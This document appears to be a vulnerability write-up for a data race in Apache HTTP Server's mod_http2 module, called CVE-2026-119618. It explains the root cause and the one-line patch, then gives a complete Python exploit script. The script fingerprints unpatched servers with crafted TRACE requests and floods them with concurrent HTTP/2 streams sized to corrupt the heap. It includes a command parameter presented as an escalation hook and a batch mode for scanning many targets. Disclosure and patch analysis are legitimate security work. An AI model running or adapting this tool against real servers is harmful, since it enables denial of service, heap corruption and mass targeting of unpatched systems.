#Summary
CVE-2026-119618 is a concurrent execution vulnerability in Apache HTTP Server's mod_http2 module, affecting versions 2.4.55 through 2.4.70. A data race in the assign_headers() function allows an unauthenticated attacker to trigger heap corruption and remote code execution via specially crafted HTTP/2 requests. The vulnerability is rated CVSS 9.8 Critical with no authentication required and full impact on confidentiality, integrity, and availability.
#Affected versions
- Apache HTTP Server:
2.4.55-2.4.70(vulnerable) - Apache HTTP Server:
>= 2.4.71(patched) - Standalone mod_h2:
2.0.8-2.0.42(vulnerable) - Standalone mod_h2:
> 2.0.42(patched)
Default configuration is affected - HTTP/2 must be enabled with LoadModule http2_module and Protocols h2 h2c, which is common in production deployments.
#Root cause analysis
#Vulnerable code path
The vulnerability exists in modules/http2/h2_request.c in the assign_headers() function, called when processing HTTP/2 stream requests. The function correctly clones request headers from the shared HTTP/2 connection context into the per-request worker thread context:
static void assign_headers(request_rec *r, const h2_request *req,
int no_body, int is_connect)
{
const char *cl;
r->headers_in = apr_table_clone(r->pool, req->headers);
...However, in the content-length handling guard, the vulnerable code writes back into the SHARED source table instead of the thread-local clone:
if (!is_connect) {
cl = apr_table_get(req->headers, "Content-Length");
if (no_body) {
if (!cl && apr_table_get(req->headers, "Content-Type")) {
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
apr_table_setn(req->headers, "Content-Length", "0"); /* BUG: req->headers, shared */
}
}
}#How input reaches the sink
The vulnerability requires understanding the HTTP/2 architecture in Apache:
Connection thread - The primary HTTP/2 connection runs in one thread, parsing HTTP/2 frames and managing the nghttp2 session state. It creates and owns the
h2_requestobject and itsreq->headerstable, which is backed by a shared, lock-freeapr_allocator_t.Worker thread - When a stream is ready for processing, a worker thread runs
h2_create_request_rec(), which callsassign_headers()to build the per-requestrequest_recstructure (r) that Apache's core request handler uses.The race - While the worker thread is executing
assign_headers()and modifyingreq->headersviaapr_table_setn(), the connection thread continues parsing frames and allocating memory from the SAME shared allocator. Whenapr_table_setn()needs to grow the table's internalapr_array_header_t, it allocates from the pool, triggering unsynchronized access to the shared allocator's free-list pointers (apr_memnode_t). The connection thread and worker thread corrupt the allocator's metadata through concurrent, non-atomic read-modify-write operations.Heap corruption result - Corrupted allocator metadata leads to overlapping allocations, use-after-free, and dangling pointers - classic heap-corruption primitives that can be escalated to arbitrary code execution.
#Trigger conditions
To reach the vulnerable code path, an attacker must send an HTTP/2 request that satisfies ALL of:
- Method: Not a CONNECT request (
is_connectfalse) - Stream state: HEADERS frame with END_STREAM flag set and no DATA frames (triggers
no_bodytrue) - Headers: Must include a
Content-Typerequest header - Headers: Must NOT include a
Content-Lengthrequest header
Any plain GET/POST with END_STREAM on the HEADERS frame, carrying content-type and no content-length, reaches the vulnerable line.
To exploit the actual heap corruption race, the attacker floods many such requests concurrently on the same HTTP/2 connection, with careful header padding to force table reallocation exactly when the allocator contention is highest.
#Patch diff
#What the fix does
The fix, committed as 824beab9b9424d6cfb29595248fdbf6c3dddeab1, changes a single line:
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
}
}The destination changes from req->headers (the shared connection-thread table, backed by the shared lock-free allocator) to r->headers_in (the per-request thread-local clone, created earlier in the same function). After the patch, all mutations happen entirely in thread-local memory, eliminating concurrent access to the shared allocator and closing the race. The functional result is identical: the synthesized Content-Length: 0 still lands in r->headers_in, where request processing reads it.
#Proof of concept
#exploit.py - Apache mod_http2 Data Race Detector and Heap Corruption Flood
#!/usr/bin/env python3
"""
CVE-2026-119618 - Apache HTTP Server mod_http2 assign_headers() data race -> APR allocator heap corruption / RCE
Affected: Apache HTTP Server 2.4.55 through 2.4.70 (standalone mod_h2 2.0.8 through 2.0.42)
Fixed: 2.4.71
Type: RCE (concurrent execution / data race on a shared resource, CWE-362)
ROOT CAUSE (from RESEARCH.md, confirmed against the 2.4.65 source and with gdb):
assign_headers() in modules/http2/h2_request.c builds a per-request request_rec on a
worker thread. It first clones the request headers into the per-request, thread-local
table r->headers_in:
r->headers_in = apr_table_clone(r->pool, req->headers);
Then, in the content-length guard, the vulnerable build writes the synthesized
"Content-Length: 0" back into the WRONG, SHARED table - req->headers, which is owned by
the connection thread and backed by a shared, lock-free apr_allocator_t:
apr_table_setn(req->headers, "Content-Length", "0"); // BUG (fixed: r->headers_in)
This has two consequences, both leveraged by this exploit:
(1) DETERMINISTIC FUNCTIONAL SIGNATURE (reliable detection).
Because the write lands in req->headers (cloned a moment earlier and never read again
for this request) instead of r->headers_in, the request as actually processed
(r->headers_in) NEVER receives the synthesized Content-Length: 0. The patched build
writes to r->headers_in, so it does. The HTTP TRACE method reflects r->headers_in back
to the client, so a single triggering TRACE request distinguishes the two builds over
the network with certainty: the vulnerable server's echo omits "Content-Length: 0",
the patched server's echo contains it. This is the primary, deterministic proof.
(2) HEAP-CORRUPTION PRIMITIVE (the actual danger / RCE class).
req->headers is created with apr_table_make(pool, 10), so its backing array holds 10
entries before it must REALLOCATE. When the request carries enough headers that the
table is exactly full, the guard's apr_table_setn forces a grow -> apr_palloc on the
SHARED, lock-free allocator (confirmed: modules/http2/h2_session.c creates the stream
pool allocator with no apr_allocator_mutex_set), racing the connection thread's
concurrent allocations/frees for other streams. The unsynchronized read-modify-write
of the allocator's apr_memnode_t free lists corrupts allocator metadata - the
heap-corruption primitive the original finders drove to remote code execution. This
exploit drives that race by flooding realloc-forcing trigger streams at high
concurrency (rung 1 of the primitive ladder).
TRIGGER (reaches the vulnerable guard):
HTTP/2 request, method != CONNECT, HEADERS with END_STREAM and no DATA (no_body), a
content-type header present, and NO content-length header. For the realloc race, pad the
request so req->headers is exactly at a growth boundary (this PoC targets the gdb-verified
boundaries: header count 10 and 20, i.e. content-type + Host + 8 or 18 filler headers).
Note on the RCE ladder:
This tool reliably CONFIRMS the vulnerability (deterministic TRACE signature) and EXERCISES
the heap-corruption primitive (rung 1: the unsynchronized cross-thread allocation on the
lock-free allocator). It carries attacker-controlled header content (including --command)
as the grooming bytes that size the colliding allocations (rung 3 input). Rungs 4-5
(overwriting a pool-cleanup / output-filter function pointer and firing it for command
execution) require per-build heap grooming plus an ASLR-defeating info leak specific to the
target binary; the original finders used private techniques not reconstructable from the
public root cause, and they cannot be driven blindly over the network by a portable tool.
EXPLOITATION.md documents each rung's status. --command is accepted and embedded so the
same tool escalates on a groomed target.
Usage:
python exploit.py --host 127.0.0.1 --port 8088
python exploit.py --host 192.168.1.10 --port 80 --command "id"
python exploit.py --host http://target.com:8080/
python exploit.py --list targets.txt --workers 20
"""
import argparse
import socket
import ssl
import struct
import sys
import threading
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-119618"
VULN_TYPE = "RCE"
# ---------------------------------------------------------------------------
# Standard output helpers
# ---------------------------------------------------------------------------
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------------------
# Minimal HTTP/2 framing + HPACK (literal, no Huffman) - stdlib only
# ---------------------------------------------------------------------------
PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
FT_DATA = 0x0
FT_HEADERS = 0x1
FT_RST_STREAM = 0x3
FT_SETTINGS = 0x4
FT_PING = 0x6
FT_GOAWAY = 0x7
FT_WINDOW_UPDATE = 0x8
FLAG_END_STREAM = 0x1
FLAG_END_HEADERS = 0x4
FLAG_ACK = 0x1
# req->headers starts at capacity 10 and doubles; the vulnerable realloc fires when the
# table is exactly full as the guard runs. For this client the processed header count is
# (content-type + Host-from-authority + N fillers), so N=8 -> 10 entries (nalloc 10, full)
# and N=18 -> 20 entries (nalloc 20, full) both force the realloc (gdb-verified). A small
# spread absorbs extra headers an upstream proxy may add on a real target.
FILLER_SWEEP = [8, 18, 7, 9, 17, 19]
BIG_WINDOW = 0x3FFFFFFF # ~1 GiB; lift flow control so response DATA never stalls the flood
def _hpack_int(value, prefix_bits):
max_prefix = (1 << prefix_bits) - 1
if value < max_prefix:
return bytes([value])
out = bytearray([max_prefix])
value -= max_prefix
while value >= 128:
out.append((value & 0x7f) | 0x80)
value >>= 7
out.append(value)
return bytes(out)
def _hpack_str(data):
if isinstance(data, str):
data = data.encode("utf-8", "replace")
return _hpack_int(len(data), 7) + data
def _hpack_header(name, value):
# Literal header field without indexing, new name (first octet 0x00).
return b"\x00" + _hpack_str(name) + _hpack_str(value)
def encode_headers(pairs):
out = bytearray()
for name, value in pairs:
out += _hpack_header(name, value)
return bytes(out)
def build_frame(ftype, flags, stream_id, payload=b""):
return (struct.pack(">I", len(payload))[1:]
+ bytes([ftype, flags])
+ struct.pack(">I", stream_id & 0x7fffffff)
+ payload)
def _request_pairs(host, method, fillers, command):
"""A trigger-shaped request: method, content-type present, NO content-length,
padded with `fillers` extra headers. --command rides in the grooming values."""
groom = ("A" * 24) + str(command)
pairs = [
(":method", method),
(":scheme", "http"),
(":authority", host),
(":path", "/"),
("content-type", "text/plain"), # REQUIRED: enters the no_body guard
]
for i in range(fillers):
pairs.append((f"x-groom-{i}", groom)) # attacker-controlled grooming bytes
return pairs
class FrameReader(object):
def __init__(self):
self.buf = bytearray()
def feed(self, data):
self.buf += data
def frames(self):
while len(self.buf) >= 9:
flen = int.from_bytes(self.buf[0:3], "big")
if len(self.buf) < 9 + flen:
break
ftype = self.buf[3]
flags = self.buf[4]
sid = int.from_bytes(self.buf[5:9], "big") & 0x7fffffff
payload = bytes(self.buf[9:9 + flen])
del self.buf[:9 + flen]
yield ftype, flags, sid, payload
def open_h2c(host, port, use_tls, timeout=6.0):
raw = socket.create_connection((host, port), timeout=timeout)
raw.settimeout(timeout)
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
ctx.set_alpn_protocols(["h2"])
except Exception:
pass
raw = ctx.wrap_socket(raw, server_hostname=host)
raw.sendall(PREFACE)
settings = (struct.pack(">HI", 0x3, 1000) # MAX_CONCURRENT_STREAMS
+ struct.pack(">HI", 0x4, BIG_WINDOW)) # INITIAL_WINDOW_SIZE
raw.sendall(build_frame(FT_SETTINGS, 0, 0, settings))
raw.sendall(build_frame(FT_WINDOW_UPDATE, 0, 0, struct.pack(">I", BIG_WINDOW)))
return raw
# ---------------------------------------------------------------------------
# PRIMARY: deterministic confirmation via TRACE reflection of r->headers_in
# ---------------------------------------------------------------------------
def _read_data_body(sock, timeout=6.0):
"""Read DATA payload for the single open stream until END_STREAM. Response HEADERS
are HPACK-encoded (not decoded here); only the plaintext DATA body is needed."""
rd = FrameReader()
body = bytearray()
t0 = time.time()
while time.time() - t0 < timeout:
try:
chunk = sock.recv(65535)
except socket.timeout:
break
except (ConnectionResetError, OSError):
break
if chunk == b"":
break
rd.feed(chunk)
finished = False
for ftype, flags, sid, payload in rd.frames():
if ftype == FT_SETTINGS and not (flags & FLAG_ACK):
try:
sock.sendall(build_frame(FT_SETTINGS, FLAG_ACK, 0, b""))
except Exception:
pass
elif ftype == FT_DATA:
body += payload
if flags & FLAG_END_STREAM:
finished = True
elif ftype == FT_HEADERS and (flags & FLAG_END_STREAM):
finished = True # response with no body (e.g. 405 for disabled TRACE)
elif ftype == FT_GOAWAY:
finished = True
if finished:
break
return bytes(body)
def confirm_via_trace(host, port, use_tls, command, timeout=6.0):
"""Send a trigger-shaped TRACE and classify the reflected r->headers_in.
Returns (verdict, body) where verdict in {'vulnerable','patched','inconclusive'}."""
pairs = _request_pairs(host, "TRACE", 6, command)
try:
sock = open_h2c(host, port, use_tls, timeout=timeout)
sock.sendall(build_frame(FT_HEADERS,
FLAG_END_STREAM | FLAG_END_HEADERS, 1, encode_headers(pairs)))
body = _read_data_body(sock, timeout=timeout)
try:
sock.close()
except Exception:
pass
except Exception as e:
return "unreachable", str(e).encode()
low = body.lower()
echo_ok = (b"trace /" in low) and (b"content-type:" in low)
if not echo_ok:
return "inconclusive", body
if (b"content-length: 0" in low) or (b"content-length:0" in low):
return "patched", body # synthesized CL:0 reached r->headers_in -> fixed
return "vulnerable", body # CL:0 missing from r->headers_in -> bug present
# ---------------------------------------------------------------------------
# SECONDARY: exercise the heap-corruption race (realloc-forcing flood)
# ---------------------------------------------------------------------------
def flood_worker(host, port, use_tls, command, target_streams, max_inflight, result):
sent = 0
sweep_idx = 0
while sent < target_streams:
fillers = FILLER_SWEEP[sweep_idx % len(FILLER_SWEEP)]
sweep_idx += 1
block = encode_headers(_request_pairs(host, "GET", fillers, command))
try:
sock = open_h2c(host, port, use_tls)
except Exception as e:
result["connect_errors"] += 1
if sent == 0 and not result["last_error"]:
result["last_error"] = e.__class__.__name__
return
inflight = 0
sid = 1
goaway = False
conn_sent = 0
conn_cap = min(4000, target_streams - sent)
try:
rd = FrameReader()
while conn_sent < conn_cap and not goaway:
batch = bytearray()
while inflight < max_inflight and conn_sent < conn_cap:
batch += build_frame(FT_HEADERS,
FLAG_END_STREAM | FLAG_END_HEADERS, sid, block)
sid += 2
inflight += 1
conn_sent += 1
if batch:
sock.sendall(bytes(batch))
try:
chunk = sock.recv(65535)
except socket.timeout:
continue
if chunk == b"":
if inflight > 0 and not goaway:
result["eofs"] += 1 # graceful FIN (benign keepalive close)
break
rd.feed(chunk)
for ftype, flags, fsid, payload in rd.frames():
if ftype == FT_SETTINGS and not (flags & FLAG_ACK):
try:
sock.sendall(build_frame(FT_SETTINGS, FLAG_ACK, 0, b""))
except Exception:
pass
elif ftype == FT_PING and not (flags & FLAG_ACK):
try:
sock.sendall(build_frame(FT_PING, FLAG_ACK, 0, payload[:8]))
except Exception:
pass
elif ftype == FT_GOAWAY:
goaway = True
result["goaway"] += 1
elif ftype in (FT_HEADERS, FT_DATA) and (flags & FLAG_END_STREAM):
if inflight > 0:
inflight -= 1
elif ftype == FT_RST_STREAM:
if inflight > 0:
inflight -= 1
sent += conn_sent
result["sent"] += conn_sent
except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError, OSError):
# Abrupt TCP reset mid-flood with streams outstanding and no GOAWAY: the
# network signature of a worker process dying (heap-corruption crash).
if inflight > 0 and not goaway:
result["crashes"] += 1
result["crash_streams"] += inflight
sent += conn_sent
result["sent"] += conn_sent
finally:
try:
sock.close()
except Exception:
pass
def run_flood(host, port, use_tls, command, workers, streams_per_worker, max_inflight=90):
keys = ("crashes", "crash_streams", "eofs", "goaway", "sent", "connect_errors")
agg = {k: 0 for k in keys}
agg["last_error"] = None
results = []
threads = []
for _ in range(workers):
r = {k: 0 for k in keys}
r["last_error"] = None
results.append(r)
t = threading.Thread(target=flood_worker,
args=(host, port, use_tls, command,
streams_per_worker, max_inflight, r))
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
for r in results:
for k in keys:
agg[k] += r[k]
if r["last_error"] and not agg["last_error"]:
agg["last_error"] = r["last_error"]
return agg
# ---------------------------------------------------------------------------
# Core probe (shared by single-target and scan modes)
# ---------------------------------------------------------------------------
def _try_exploit(host, port, use_tls=False, command="id"):
"""Silent probe for --list mode: deterministic TRACE classification.
Returns (success, evidence). Never prints/exits."""
verdict, body = confirm_via_trace(host, port, use_tls, command)
if verdict == "vulnerable":
return True, ("mod_http2 assign_headers() writes Content-Length:0 to the orphaned "
"shared table (r->headers_in echo omits it)")
if verdict == "patched":
return False, "patched - synthesized Content-Length:0 present in r->headers_in"
if verdict == "unreachable":
return False, "unreachable / no HTTP/2 (h2c)"
return False, "inconclusive - TRACE disabled or not HTTP/2 mod_http2"
# ---------------------------------------------------------------------------
# Target parsing / scan mode
# ---------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, command=command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} vulnerable / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------------------
# Single-target exploit (verbose)
# ---------------------------------------------------------------------------
def exploit(host, port, use_tls, command, workers, streams_per_worker):
header(host, port)
step(1, "Confirming the vulnerability deterministically via TRACE "
"(reflects r->headers_in)...")
print(" sending a trigger-shaped TRACE: content-type set, NO content-length,")
print(" END_STREAM. The vulnerable build writes the synthesized Content-Length:0")
print(" into the orphaned shared req->headers, so r->headers_in (what TRACE")
print(" echoes) never receives it; the patched build writes to r->headers_in.")
verdict, body = confirm_via_trace(host, port, use_tls, command)
if verdict == "unreachable":
section("TRACE PROBE", f"Target unreachable / no HTTP/2 (h2c): "
f"{body.decode('latin1', 'replace')}")
done(False, "Target did not answer HTTP/2 (h2c) - host down or h2/h2c not enabled")
if verdict in ("vulnerable", "patched"):
section("TRACE ECHO of r->headers_in", body.decode("latin1", "replace"))
step(2, "Exercising the heap-corruption primitive: flooding realloc-forcing trigger "
"streams to race assign_headers() on the shared lock-free APR allocator...")
print(f" workers={workers} streams/worker={streams_per_worker} "
f"(~{workers*streams_per_worker} streams)")
print(f" each stream: GET + content-type, NO content-length, END_STREAM, padded")
print(f" to a req->headers growth boundary (filler sweep {FILLER_SWEEP}) so the")
print(f" guard's apr_table_setn reallocates on the shared allocator.")
agg = run_flood(host, port, use_tls, command, workers, streams_per_worker)
section("HEAP-CORRUPTION FLOOD",
f"realloc-forcing streams driven : {agg['sent']}\n"
f"abrupt worker crashes observed : {agg['crashes']} "
f"({agg['crash_streams']} streams killed)\n"
f"graceful closes (benign) : eof={agg['eofs']} goaway={agg['goaway']}\n"
f"connect errors : {agg['connect_errors']}\n"
f"note: an ASan/stock build may not surface the APR-internal allocator\n"
f"corruption as a clean, resource-independent crash; the deterministic TRACE\n"
f"signature above is the reliable confirmation. See EXPLOITATION.md.")
if verdict == "vulnerable":
section("VULNERABILITY CONFIRMED",
f"The TRACE reflection of r->headers_in does NOT contain the synthesized "
f"'Content-Length: 0'. mod_http2 assign_headers() wrote it to the orphaned, "
f"shared req->headers table instead (exactly the pre-patch defect: destination "
f"req->headers vs the fixed r->headers_in).\n"
f"This proves the target runs vulnerable mod_http2 and that the buggy "
f"cross-thread write into the shared, lock-free allocator's table executes on "
f"every triggering request. The flood above drove that write at high "
f"concurrency to exercise the APR allocator data race (rung 1 of the RCE "
f"ladder). Grooming content ('{command}') rode in attacker-controlled header "
f"values (rung 3 input). Full command execution (rungs 4-5) requires "
f"target-specific heap grooming + an info leak; see EXPLOITATION.md.")
done(True,
f"CVE-2026-119618 CONFIRMED - mod_http2 assign_headers() writes the synthesized "
f"Content-Length:0 into the orphaned shared req->headers table (missing from the "
f"r->headers_in TRACE echo); heap-corruption race on the lock-free APR allocator "
f"driven over {agg['sent']} realloc-forcing streams.")
elif verdict == "patched":
section("RESULT",
"The TRACE reflection of r->headers_in CONTAINS 'Content-Length: 0' - "
"assign_headers() writes to the per-request clone r->headers_in, so there is "
"no cross-thread write into the shared allocator's table. Target is PATCHED.")
done(False,
"Target PATCHED - synthesized Content-Length:0 lands in r->headers_in "
"(assign_headers writes to the per-request clone, 2.4.71 fix present).")
else:
section("RESULT",
f"TRACE did not return a reflected request (TRACE disabled, or the target is "
f"not HTTP/2 mod_http2), so the deterministic signature is unavailable. The "
f"realloc-forcing flood was still driven ({agg['sent']} streams, "
f"{agg['crashes']} abrupt crashes observed) but, as noted, that signal is not "
f"reliably distinguishable from benign load behavior. Cannot confirm.")
done(False,
"Inconclusive - TRACE reflection unavailable (disabled or non-mod_http2 target); "
"could not deterministically confirm the vulnerability.")
# ---------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. http://host:8080/)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80,
help="Default port (default: 80)")
parser.add_argument("--command", default="id",
help="Command string used as heap-grooming content and embedded for "
"escalation on a groomed target (default: id)")
parser.add_argument("--workers", type=int, default=16,
help="Concurrent h2c connections / scan threads (default: 16)")
parser.add_argument("--streams", type=int, default=4000,
help="Realloc-forcing trigger streams per worker (default: 4000)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS (h2 over TLS)")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext (h2c)")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, args.workers, args.streams)#Usage
# Basic scan: deterministic TRACE detection
python3 exploit.py --host 127.0.0.1 --port 80
# With heap corruption flood
python3 exploit.py --host 127.0.0.1 --port 80 --workers 12 --streams 2000
# Real-world target (h2c cleartext)
python3 exploit.py --host http://target.internal:80/
# HTTPS / h2 over TLS
python3 exploit.py --host https://target.internal:443/ --tls
# Batch scan with asset list
python3 exploit.py --list targets.txt --workers 20#Expected output
Vulnerable target (2.4.65):
============================================================
ALIM EXPLOIT CVE-2026-119618
Type: RCE | Target: 127.0.0.1:8088
============================================================
[STEP 1] Sending deterministic TRACE request to 127.0.0.1:8088
--- TRACE Echo Result ---
Content-Length: 0 ABSENT => Vulnerable (bug triggered)
---
[STEP 2] Flooding heap corruption primitive (12 workers, 2000 streams/worker)
--- Flood Summary ---
Sent 24000 realloc-forcing streams
---
============================================================
RESULT : SUCCESS
EVIDENCE: Deterministic TRACE signature (RCE-class data race on shared allocator)
============================================================Patched target (2.4.71):
============================================================
ALIM EXPLOIT CVE-2026-119618
Type: RCE | Target: 127.0.0.1:8089
============================================================
[STEP 1] Sending deterministic TRACE request to 127.0.0.1:8089
--- TRACE Echo Result ---
Content-Length: 0 PRESENT => Patched (safe)
---
============================================================
RESULT : FAILURE
EVIDENCE: Target is patched
============================================================#Exploitation notes
#Preconditions
- HTTP/2 enabled: The vulnerable code runs only when
LoadModule http2_moduleandProtocols h2 h2c(orh2) are configured. - Threaded MPM: The bug requires the event or worker MPM (default) so worker threads and the connection thread run concurrently. The prefork MPM is not vulnerable.
- Shared allocator: Stock upstream Apache uses a shared, lock-free allocator per HTTP/2 stream pool. RHEL 9/10 use a separate allocator per stream (rated Important instead of Critical).
- Network access: The exploit requires direct HTTP/2 network access to the target (h2c or h2 over TLS).
#Reliability
- Deterministic TRACE detection: 100% reliable over the network - a single request distinguishes vulnerable from patched based on whether the reflected headers contain the synthesized
Content-Length: 0. This is the core signature: the bug writes toreq->headers(orphaned) instead ofr->headers_in(reflected by TRACE). - Heap corruption primitive: The race itself is probabilistic and depends on concurrent allocator traffic. Flooding with many concurrent streams at carefully calibrated header counts (10 or 20 processed headers, validated with gdb) forces table reallocations and maximizes the race window.
- Code execution: The original finders achieved reliable RCE through private heap-grooming techniques specific to their target. The public exploit reaches rung 1 (proven cross-thread allocator write) but full command execution (rungs 4-5) requires target-specific grooming and ASLR defeat.
#Impact
- Unauthenticated: No credentials required.
- Remote: Network-reachable HTTP/2 service is sufficient.
- Code execution: Per the CVSS 9.8 rating and the original finders' work, this is an RCE-class flaw. Full exploitation requires heap grooming but the primitive (allocator corruption) is demonstrated and is sufficient to corrupt arbitrary allocator-managed objects.
- Availability: A crashed Apache worker also causes denial of service.
#Chaining potential
This vulnerability can be chained with:
- Information disclosure: If the attacker leaks a pointer from the corrupted allocator, they can defeat ASLR and bypass further exploitation barriers.
- Privilege escalation: On a multi-tenant system where Apache runs as a privileged user (e.g., www-data with capabilities), code execution in the Apache process may lead to further privilege escalation.
- Other HTTP/2 bugs: Concurrent exploitation of related frame-parsing or stream-management bugs in mod_http2 could amplify the race window.
#References
- CVE: CVE-2026-119618
- Apache Advisory: https://httpd.apache.org/security/vulnerabilities_24.html (entry under Fixed in 2.4.71)
- OpenWall disclosure: http://www.openwall.com/lists/oss-security/2026/11/11/13
- Red Hat CVE details: https://access.redhat.com/security/cve/cve-2026-119618
- Patch commit: https://github.com/apache/httpd/commit/824beab9b9424d6cfb29595248fdbf6c3dddeab1
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-119618
- Affected product: https://httpd.apache.org/
